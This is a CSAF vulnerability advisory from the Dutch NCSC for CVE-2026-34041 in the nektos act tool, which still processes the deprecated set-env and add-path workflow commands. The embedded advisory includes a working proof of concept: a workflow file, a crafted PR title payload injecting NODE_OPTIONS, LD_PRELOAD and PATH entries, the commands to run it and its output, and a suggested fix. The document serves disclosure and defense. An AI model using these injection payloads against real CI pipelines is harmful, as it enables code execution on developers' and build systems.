{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-34041",
        "tracking": {
            "current_release_date": "2026-04-02T16:20:14.338848Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-34041",
            "initial_release_date": "2026-03-28T07:41:23.599616Z",
            "revision_history": [
                {
                    "date": "2026-03-28T07:41:23.599616Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (5).| CWES updated (1)."
                },
                {
                    "date": "2026-03-28T07:41:27.239716Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-28T15:37:46.847085Z",
                    "number": "3",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-31T02:38:52.682435Z",
                    "number": "4",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-31T02:38:55.463597Z",
                    "number": "5",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-31T03:24:56.701020Z",
                    "number": "6",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-31T03:24:58.699946Z",
                    "number": "7",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-31T16:55:44.176346Z",
                    "number": "8",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-31T16:55:46.143880Z",
                    "number": "9",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-31T19:55:16.220633Z",
                    "number": "10",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-04-02T15:27:42.166526Z",
                    "number": "11",
                    "summary": "CVSS created."
                },
                {
                    "date": "2026-04-02T15:27:43.890101Z",
                    "number": "12",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-04-02T15:40:13.626867Z",
                    "number": "13",
                    "summary": "CVSS created.| Unknown change."
                }
            ],
            "status": "interim",
            "version": "13"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<0.2.86",
                                "product": {
                                    "name": "vers:unknown/<0.2.86",
                                    "product_id": "CSAFPID-5966422"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "act"
                    }
                ],
                "category": "vendor",
                "name": "nektos"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-34041",
            "notes": [
                {
                    "category": "description",
                    "text": "## Summary\n\nact unconditionally processes the deprecated `::set-env::` and `::add-path::` workflow commands, which GitHub Actions disabled in October 2020 (CVE-2020-15228, GHSA-mfwh-5m23-j46w) due to environment injection risks. When a workflow step echoes untrusted data to stdout, an attacker can inject these commands to set arbitrary environment variables or modify the PATH for all subsequent steps in the job. This makes `act` strictly less secure than GitHub Actions for the same workflow file.\n\n## Vulnerable Code\n\n**`pkg/runner/command.go`, lines 52-58:**\n\n```go\nswitch command {\ncase \"set-env\":\n    rc.setEnv(ctx, kvPairs, arg)\ncase \"set-output\":\n    rc.setOutput(ctx, kvPairs, arg)\ncase \"add-path\":\n    rc.addPath(ctx, arg)\n```\n\nThere is no check for the `ACTIONS_ALLOW_UNSECURE_COMMANDS` environment variable. The string `ACTIONS_ALLOW_UNSECURE_COMMANDS` does not appear anywhere in the act codebase.\n\nOn GitHub Actions, these commands are rejected unless `ACTIONS_ALLOW_UNSECURE_COMMANDS=true` is set:\n\n```\nError: The `set-env` command is disabled. Please upgrade to using Environment Files\n  or opt-in by setting ACTIONS_ALLOW_UNSECURE_COMMANDS=true.\n```\n\n## PoC: Environment and PATH Injection via PR Title\n\n**Tested on:** act 0.2.84, Docker Desktop 29.1.2, macOS Darwin 24.5.0\n\n**Step 1 — Create a workflow that logs PR metadata:**\n\n`.github/workflows/vuln.yml`:\n```yaml\nname: Vulnerable Workflow\non: [pull_request]\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Log PR info\n        run: |\n          echo \"Processing PR: ${{ github.event.pull_request.title }}\"\n\n      - name: Subsequent step - check environment\n        run: |\n          echo \"=== Environment Injection Check ===\"\n          echo \"NODE_OPTIONS=$NODE_OPTIONS\"\n          echo \"EVIL_VAR=$EVIL_VAR\"\n          echo \"PATH=$PATH\"\n```\n\n**Step 2 — Create a malicious event payload:**\n\n`event.json`:\n```json\n{\n  \"pull_request\": {\n    \"title\": \"Fix typo\\n::set-env name=EVIL_VAR::INJECTED_BY_ATTACKER\\n::set-env name=NODE_OPTIONS::--require=/tmp/evil.js\\n::add-path::/tmp/evil-bin\",\n    \"number\": 1,\n    \"head\": { \"ref\": \"fix-typo\", \"sha\": \"abc123\" },\n    \"base\": { \"ref\": \"main\", \"sha\": \"def456\" }\n  }\n}\n```\n\n**Step 3 — Run:**\n\n```bash\ngit init && git add -A && git commit -m \"init\"\nact pull_request -e event.json\n```\n\n**Result:**\n\n```\n[Vulnerable Workflow/build]   | Processing PR: Fix typo\n[Vulnerable Workflow/build]   ⚙  ::set-env:: EVIL_VAR=INJECTED_BY_ATTACKER\n[Vulnerable Workflow/build]   ⚙  ::set-env:: NODE_OPTIONS=--require=/tmp/evil.js\n[Vulnerable Workflow/build]   ⚙  ::add-path:: /tmp/evil-bin\n[Vulnerable Workflow/build]   ✅  Success - Main Log PR info\n\n[Vulnerable Workflow/build]   | === Environment Injection Check ===\n[Vulnerable Workflow/build]   | NODE_OPTIONS=--require=/tmp/evil.js\n[Vulnerable Workflow/build]   | EVIL_VAR=INJECTED_BY_ATTACKER\n[Vulnerable Workflow/build]   | PATH=/tmp/evil-bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\n[Vulnerable Workflow/build]   | EXPLOITED: EVIL_VAR was injected into this step!\n[Vulnerable Workflow/build]   ✅  Success\n[Vulnerable Workflow/build] 🏁  Job succeeded\n```\n\nAll three injections succeeded silently:\n- `EVIL_VAR=INJECTED_BY_ATTACKER` — arbitrary env var injected into subsequent step\n- `NODE_OPTIONS=--require=/tmp/evil.js` — Node.js code execution vector\n- `/tmp/evil-bin` prepended to PATH — command hijacking vector\n\n## Attack Scenarios\n\n**Scenario 1: Malicious PR title/body.** An attacker opens a PR with `::set-env name=NODE_OPTIONS::--require=/tmp/evil.js` embedded in the title. If any workflow step echoes the title (common for build summaries, Slack notifications, changelog generation), the injection fires. On GitHub Actions this is blocked. On act, it succeeds.\n\n**Scenario 2: Malicious branch name.** `${{ github.head_ref }}` is attacker-controlled. A branch named `fix-typo%0A::set-env name=LD_PRELOAD::/tmp/evil.so` can inject `LD_PRELOAD`, which causes every subsequent dynamically-linked binary to load the attacker's shared library.\n\n**Scenario 3: Commit message injection.** If a step runs `git log --oneline` and the output flows to stdout, an attacker's commit message containing `::set-env::` commands will be processed.\n\n## Impact\n\n- **Command injection** via env vars: `LD_PRELOAD`, `NODE_OPTIONS`, `PYTHONPATH`, `BASH_ENV`, `PERL5OPT` all enable arbitrary code execution\n- **PATH hijacking**: attacker-controlled directory prepended to PATH hijacks any subsequent command\n- **Cross-step escalation**: a step that merely logs untrusted data compromises all subsequent steps\n- **Supply chain risk**: workflows that are safe on GitHub Actions become exploitable when run locally with act — developers have a false sense of security\n\n## Suggested Fix\n\nAdd a check matching GitHub Actions' behavior:\n\n```go\ncase \"set-env\":\n    if rc.Env[\"ACTIONS_ALLOW_UNSECURE_COMMANDS\"] != \"true\" {\n        logger.Errorf(\"The `set-env` command is disabled. Please upgrade to using Environment Files or opt-in by setting ACTIONS_ALLOW_UNSECURE_COMMANDS=true\")\n        return false\n    }\n    rc.setEnv(ctx, kvPairs, arg)\ncase \"add-path\":\n    if rc.Env[\"ACTIONS_ALLOW_UNSECURE_COMMANDS\"] != \"true\" {\n        logger.Errorf(\"The `add-path` command is disabled. Please upgrade to using Environment Files or opt-in by setting ACTIONS_ALLOW_UNSECURE_COMMANDS=true\")\n        return false\n    }\n    rc.addPath(ctx, arg)\n```\n\nThis is a minimal, backwards-compatible fix — users who genuinely need these deprecated commands can opt in via `ACTIONS_ALLOW_UNSECURE_COMMANDS=true`, matching GitHub's approach.\n\n---\n\nWritten by Golan Myers",
                    "title": "github - https://api.github.com/advisories/GHSA-xmgr-9pqc-h5vw"
                },
                {
                    "category": "description",
                    "text": "act is a project which allows for local running of github actions. Prior to version 0.2.86, act unconditionally processes the deprecated ::set-env:: and ::add-path:: workflow commands, which was disabled due to environment injection risks. When a workflow step echoes untrusted data to stdout, an attacker can inject these commands to set arbitrary environment variables or modify the PATH for all subsequent steps in the job. This issue has been patched in version 0.2.86.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/34xxx/CVE-2026-34041.json"
                },
                {
                    "category": "description",
                    "text": "act is a project which allows for local running of github actions. Prior to version 0.2.86, act unconditionally processes the deprecated ::set-env:: and ::add-path:: workflow commands, which was disabled due to environment injection risks. When a workflow step echoes untrusted data to stdout, an attacker can inject these commands to set arbitrary environment variables or modify the PATH for all subsequent steps in the job. This issue has been patched in version 0.2.86.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-34041"
                },
                {
                    "category": "other",
                    "text": "0.00045",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
                    "title": "CVSSV4"
                },
                {
                    "category": "other",
                    "text": "7.7",
                    "title": "CVSSV4 base score"
                },
                {
                    "category": "other",
                    "text": "4.0",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "Is related to (a version of) an uncommon product",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5966422"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-xmgr-9pqc-h5vw"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/34xxx/CVE-2026-34041.json"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-34041"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/nektos/act/security/advisories/GHSA-xmgr-9pqc-h5vw"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/nektos/act/commit/0c739c8e39c41aa5a07665f732da9cab6df0097a"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-mfwh-5m23-j46w"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/nektos/act/releases/tag/v0.2.86"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-xmgr-9pqc-h5vw"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34041"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
                        "baseScore": 9.8,
                        "baseSeverity": "CRITICAL"
                    },
                    "products": [
                        "CSAFPID-5966422"
                    ]
                }
            ],
            "title": "CVE-2026-34041"
        }
    ]
}